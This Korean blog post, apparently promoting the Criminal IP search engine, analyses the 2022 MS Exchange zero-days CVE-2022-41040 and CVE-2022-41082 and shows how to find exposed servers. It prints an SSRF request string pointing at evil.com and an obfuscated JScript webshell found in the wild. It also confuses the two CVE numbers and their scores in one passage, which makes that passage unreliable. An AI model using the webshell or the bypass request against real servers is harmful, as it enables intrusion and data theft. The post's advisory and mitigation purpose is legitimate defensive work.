2022.09.30일 Microsoft는 MS Exchange 제로데이 취약점을 발표했다. Microsoft Exchange Server 2013, Exchange Server 2016 및 Exchange Server 2019 에서 새로운 취약점이 발견된 것이다. 이 글에서는 Security OSINT 툴을 사용하여 이번 MS Exchange 취약점 영향을 받는 서버를 탐색하는 방법과 실제 Exploit 가능한 검색 사례를 다룬다.

발견된 취약점은 CVE-2022-41082, CVE-2022-41040 두 개이다. 공격하고자 하는 Exchange Server에 인증된 Access 권한이 있을 경우, 이 두 가지 취약점을 동시에 사용하여 서버에 원격 코드 실행(Remote Code Execution, RCE) 공격을 할 수 있다.

취약점은 각각 8.8, 6.3 CVSS 점수를 받았다.

새로운 제로데이 취약점이 발표된MS Exchange 서버를 사용하는 Outlook 메일 서비스 로그인 화면
새로운 제로데이 취약점이 발표된 MS Exchange 서버를 사용하는 Outlook 메일 서비스 로그인 화면

해커가 MS Exchange 제로데이 취약점 Exploit 하는 방법

해커는 CVE-2022-41040(CVSSv3 점수 8.8) 취약점을 통해  사이트 요청 위조(Server Side Request Forgery, SSRF) 공격으로 권한을 상승시키고 CVE-2022-41040(CVSSv3 점수 8.8)취약점으로 서버에 원격 코드를 실행한다(Remote Code Execution, RCE). Exchange Server를 손상시킨 후에는 설치된 악성 앱들을 통해 Active Directory 및 데이터를 유출한다. 특히, 해커는 외부에 개방되어있고 취약한 Exchange Server를 타겟하는데, 타겟이 된 서버에  ‘autodiscover/autodiscover.json?@evil.com/<Exchange-backend-endpoint>&Email=autodiscover/autodiscover.json%3f@evil.com’ HTTP Request 를 요청하면 기존에 MS가 권장하던 Blocking Rule을 우회할 수 있다. 접근이 가능해지면 Exchange backend component 에 본격적으로 원격 코드를 실행한다. 

해커의 MS Exchange 제로데이 취약점 익스플로잇 방법

이미지 출처 : Microsoft Security, Analyzing attacks using the Exchange vulnerabilities CVE-2022-41040 and CVE-2022-41082

베트남 보안업체 GTSC에 따르면 CVE-2022-41040의 SSRF 공격으로 Exchange 서버에 난독화된 Webshell(시스템에 명령을 내릴 수 있는 웹 프로그램 업로드 가능 취약점)이 요청된 것을 확인 했다고 한다. 해커는 user-agent를 이용하여 Antsword(중국어 기반 크로스 플랫폼 관리 도구 오픈 소스)를 사용한다. 해커가 사용한 Webshell은 중국어 간체 문자를 사용하는 Windows 코드 페이지 936 으로 확인되어, 중국 해커 집단에서 공격이 진행된 것으로 추측하고 있다고 보고했다. 
추가로 주목할 만한 점은 해커가 RedirSuiteServiceProxy.aspx 파일 (Exchange 서버에서 사용할 수 있는 정규 파일) 의 내용도 Webshell 콘텐츠로 변경했다는 것이다.

#서버에 요청된 Webshell

<%@Page Language="Jscript"%>
 
<%eval(System.Text.Encoding.GetEncoding(936).GetString(System.Convert.FromBase64String('NTcyM'+'jk3O3'+'ZhciB'+'zYWZl'+''+'P'+'S'+char(837-763)+System.Text.Encoding.GetEncoding(936).GetString(System.Convert.FromBase64String('MQ=='))+char(51450/525)+''+''+char(0640-0462)+char(0x8c28/0x1cc)+char(0212100/01250)+System.Text.Encoding.GetEncoding(936).GetString(System.Convert.FromBase64String('Wg=='))+'m'+''+'UiO2V'+'2YWwo'+'UmVxd'+'WVzdC'+'5JdGV'+'tWydF'+'WjBXS'+'WFtRG'+'Z6bU8'+'xajhk'+'J10sI'+'HNhZm'+'UpOzE'+'3MTY4'+'OTE7'+'')));%>

Exploit 가능한 MS Exchange 서버 Security OSINT 툴로 탐지

Security OSINT 툴인 Crimianl IP (https://www.criminalip.io) 에서 MS Exchange 제로데이 취약점을 검색하면 취약한 Exchange Server들을 확인할 수 있다.  cve_id 필터를 사용하여 CVE-2022-41082 취약점을 검색해보면 총 91,807개의 IP 주소에서 취약한 Exchange Server가 사용되고 있다는 것을 알 수 있다. 

[Criminal IP Search 101 – MS Exchange 제로데이 취약점 탐지]

Search Query : cve_id: CVE-2022-41082

Security OSINT 검색엔진 Criminal IP에 CVE-2022-41082를 검색하는 화면
Security OSINT 검색엔진 Criminal IP에 CVE-2022-41082를 검색하는 화면
Security OSINT 툴 Criminal IP 에 MS Exchange 제로데이 취약점 CVE를 검색한 결과
Security OSINT 툴 Criminal IP 에 MS Exchange 제로데이 취약점 CVE를 검색한 결과

해당 MS Exchange 취약점이 있는 IP 주소의 Port 통계를 살펴보면 대부분 80/443 포트가 열려있으며, %443 형태로 443 앞에 숫자를 추가한 8443, 4433 등의 포트도 발견된다. 

Criminal IP 에 MS Exchange 제로데이 취약점 CVE를 검색한 결과

심지어, 몇몇 IP 주소들은 인증서가 취약한 상태로 운영되고 있음을 알 수 있다.

Criminal IP로 탐지한 MS Exchange 취약점이 있는 서버, 인증서가 취약한 상태이다

Criminal IP에서 검색되는 대부분의 IP 주소는 80, 443 포트가 취약한 것으로 탐지 되었고, Inbound Score가 Critical로 표시되어 악성 IP 주소로 판단되는 경우도 있다. 아래의 IP 주소 인텔리전스 분석 내용을 보면, 총 89개의 취약점이 연결되어 있으며, 이슈가 되고 잇는  CVE-2022-41082, CVE-2022-41040를 제외한 다른 취약점들도 확인된다. 또한, 해당 IP 주소는 Hosting IP이기 때문에 해커가 CVE-2022-41040 를 통해 권한을 탈취한다면 연결되어있는 내부망까지 침투하여 더 많은 정보들을 유출 시킬 수 있다.

MS Exchange 제로데이 취약점 서버의 IP 주소 분석 결과, 89개의 취약점이 맵핑되어있다
MS Exchange 제로데이 취약점 서버의 IP 주소 분석 결과, 89개의 취약점이 맵핑되어있다
MS Exchange 취약점 IP 주소의 포트 정보 및 취약점 정보
MS Exchange 취약점 IP 주소의 포트 정보 및 취약점 정보

기업 및 기관의 MS Exchange 제로데이 취약점 조치 방법

MS는 이번 취약점에 대한 해결책으로 IIS Manager →  Default Web Site →  URL Rewrite →  Actions에  *autodiscover\.json.*Powershell.* 차단 규칙을 추가하여 알려진 공격 패턴을 차단하고, 원격 PowerShell 엑세스를 비활성화를 하는 조치를 권고하고 있다.

하지만 모든 제로데이 취약점이 그렇듯, 새롭게 발견된 취약점은 어떤 서버에 영향을 주게 될지 파악하는 것부터 매우 어렵다. 일반적으로 기업 및 기관의 보안 담당자는 제로데이 취약점 이슈가 발생하면 취약점 스캐너 등을 활용하여 조치할 대상을 선별하는데, 운영되는 모든 서버를 대상으로 스캐닝을 하는 것도 어려울 뿐 아니라, 공격이 발생하기 전 빠르게 조치를 취하기 어려울 수 있다. 

이 글에서 다룬 Security OSINT 툴을 활용한 MS Exchange 제로데이 취약점 서버 탐지 방법을 활용하면 취약점 스캔을 대신하여 빠르게 취약한 자산을 찾아낼 수 있다. 또한, 내부에서 파악되지 않는 방치된 자산, 실수로 열려있는 포트까지 취약점 스캔이 가능하여 효과적인 공격 표면 관리가 가능하다.  따라서, 빠르게 MS Exchange 제로데이 취약점 위협 여부를 체크하려면, Security OSINT 도구인 Criminal IP에 사용 중인 IP 주소를 검색하여, CVE 맵핑 여부를 살펴보길 바란다. 

관련하여 지난 2022년 6월 발생한 Atlassian Confluence 제로데이 취약점에 노출된 서버를 탐지하는 방법 및 취약점에 대한 분석 글을 참고해도 좋다.


데이터 출처 : Criminal IP (https://www.criminalip.io)

관련 글 :